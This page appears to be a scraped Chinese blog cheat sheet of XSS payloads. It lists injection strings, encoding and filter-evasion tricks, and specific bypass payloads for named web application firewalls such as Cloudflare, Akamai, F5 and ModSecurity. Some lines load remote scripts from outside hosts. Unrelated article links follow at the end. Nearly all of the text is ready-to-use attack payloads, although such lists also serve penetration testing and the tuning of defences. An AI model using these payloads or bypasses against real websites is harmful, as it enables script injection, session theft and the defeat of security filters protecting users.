一:正常构造方式:

1、无过滤,直接写:

<script>alert(1)</script>

2、正常截断:

"> <script>alert(1)</script>
'> <script>alert(1)</script>

3、不用<>尖括号:

" onmouseover=alert(1) 空格
' onmouseover=alert(1) 空格
' onclick=alert(1) 空格
" onfocus=alert(1) autofocus="

4、内联框架注入:

"><iframe src=javascript:alert(1)>

5、超链接注入:

"> <a href="javascript:alert(1)">漏洞</a>

6、alert(1)中的小括号:可用反单引号替代:`;也可以用/

7、当()与反单引号被过滤时,可使用如下:

- <iframe srcdoc="<script>parent.alert(1)</script>"
- <svg><script>alert(1&#41</script>

8、存在注释符的话,可用或<!-- --!>绕过

9、str_replace()函数是区分大小写的

10、黑名单的时候可以使用URL编码等进行编码的方式:

javascript:alert(1)、javascript:alert'1'

11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)

12、外链xss脚本:

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

13、IMG标签型:

<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=&#x6A&#x61&#x76&#x61(16进制编码)&#x58&#x53&#x53&#x27&#x29>

14、嵌入式标签:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">(嵌入式编码标签)
<IMG SRC="javascript:alert('XSS');">(嵌入式换行符)(嵌入式回车)

15、双开括号:

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

16、BODY图片:

<BODY BACKGROUND="javascript:alert('XSS')">

17、IMG Dynsrc:

<IMG DYNSRC="javascript:alert('XSS')">

IMG Lowsrc:

<IMG LOWSRC="javascript:alert('XSS')">

18、DIV background-image:

> <DIV STYLE="background-image:url(javascript:alert('XSS'))">

19、javascript链接:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

20、embed:

<embed src="javascript:alert(1)">

21、video:

<video onerror="alert(1)">

22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。

<script>a \u006cert(1) ;</script>
<script>eval(‘ a\u006cert(1) ’);</script>
<script>eval(‘ a\x6cert(1) ’);</script>
<script>eval(‘ a\154ert(1) ’);</script>
<script>eval(‘ a\1\ert\(1\) ’);</script>

二:绕过方式

1、双url编码

把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。

2、base64编码

WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

3、HTML实体编码绕过

(1)解释:实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。

payload:

<a href='javascript:alert('123')'>hello</a>
<a href="javascript:alert('123')">hello</a>

tip:

(2)其实在标签里的伪协议js代码,是可以不用用双引号引起来的。

加上eval函数后(eval认识 \x十六进制 八进制 \u unicode编码)

<a href="javascript:eval('&#;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">hello</a>

(3)如果页面直接显示输入内容,可以先html 编码,再url 编码。

<svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

4、过滤 /script

<%2fscript>
<%252fscript>
<%252fScRipt>
<%252fScrIPt%20>
<%252fsCrIpt+ipT%20>

5、过滤括号

当括号被过滤的时候可以使用throw来绕过:

<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

6、利用0字节绕过

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

7、先拆分再组合

<script>var a='h';var b=':\/\/';document.write('<script src="'+a+'ttp'+b+'xss.tw/xxx"><\/script>');</script>

8、利用ascii编码绕过

<img/ \/\μ src=x onerror=alert(1)//>
<img src=\x17\x17 onerror=alert(1)//>
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>

9、过滤括号和分号

你可以使用花括号来进行语句隔离,将onerror整体放入花括号中。这样就避免了使用分号:

<script>{onerror=alert}throw 1337</script>

三:常见的waf bypass

WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充 WAF名称:Wordfence
Payload:<a/href=javascript&colon;alert()>click
绕过技术:数字字符编码 WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script&colon;alert()>click
绕过技术:数字字符编码 WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器 WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//

[WEB安全]XSS命令总结的更多相关文章

  1. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  2. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  3. web安全-xss攻击

    web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&amp'); str = str.replac ...

  4. Web安全--XSS现代WAF规则探测及绕过技术

    XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...

  5. Web安全--XSS模版

    [XSS基本探测pyload]   <script>alert("xss")</script> <script>alert(/xss/)< ...

  6. MVC WEB安全——XSS攻击防御

    XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...

  7. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  8. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  9. 小白日记47:kali渗透测试之Web渗透-XSS(一)

    XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...

随机推荐

  1. AppRTC服务搭建(测试)

    提供一个在线的webrtc服务器测试,需要的朋友看看.https://www.webrtcserver.cn/ 服务器搭建环境各有不同在此参考前人经验差试一下. 运行AppRTC需要使用Google ...

  2. group by 和 order by 的区别 + 理解过程

    order by 和 group by 的区别order by 和 group by 的区别:1,order by 从英文里理解就是行的排序方式,默认的为升序. order by 后面必须列出排序的字 ...

  3. MMU与cache

    这一快理解的非常浅: MMU 虚拟存储器对内存进行了逻辑上的扩充.比如一个32位的CPU系统,逻辑上的寻址可以达到4GB,但是如果直接对物理地址进行寻址,就要受到主存大小的限制. 在这种条件下,虚拟地 ...

  4. cloudera manager(CDH)实践

    cloudera manager 可以简化 Hadoop 的安装配置过程,自动在集群节点上安 装 hadoop 相关组件,创建用户,并管理各个组件服务.本手册以 cloudera manager 的 ...

  5. 45 个常用Linux 命令,让你轻松玩转Linux!

    Linux 的命令确实非常多,然而熟悉 Linux 的人从来不会因为 Linux 的命令太多而烦恼.因为我们仅仅只需要掌握常用命令,就完全可以驾驭 Linux. 接下来,让我们一起来看看都有那些常用的 ...

  6. 2013.5.2 - KDD第十四天

    今天早上来了之后就处理语料,然后发现处理好后的gbk编码的语料在HPC上没法训,而utf8在上面训练可以.后来就让它在上面训着,学长还没来. 学长回来之后问他怎么回事,他说不应该,然后我们看了一下第一 ...

  7. springboot错误: 找不到或无法加载主类

    一:当在eclipse启动spring boot项目时出现问题: springboot错误: 找不到或无法加载主类 解决办法: 1,通过cmd命令行,进入项目目录进行,mvn clean instal ...

  8. Andrew Ng机器学习 五:Regularized Linear Regression and Bias v.s. Variance

    背景:实现一个线性回归模型,根据这个模型去预测一个水库的水位变化而流出的水量. 加载数据集ex5.data1后,数据集分为三部分: 1,训练集(training set)X与y: 2,交叉验证集(cr ...

  9. shell 变量的 {} ()

    1.Shell中变量的原形:${var} 变量的原形:${var},即是加一个大括号来限定变量名称的范围   [root@bogon sh]# aa='ajax' [root@bogon sh]# e ...

  10. java基础(10)---stream流

    一.stream的应用场景 for遍历的冗余场景:  stream的写法: 二.获取Stream流的常用方式 三.Stream的map映射方法 更简单的写法: 四.Stream的filter过滤方法 ...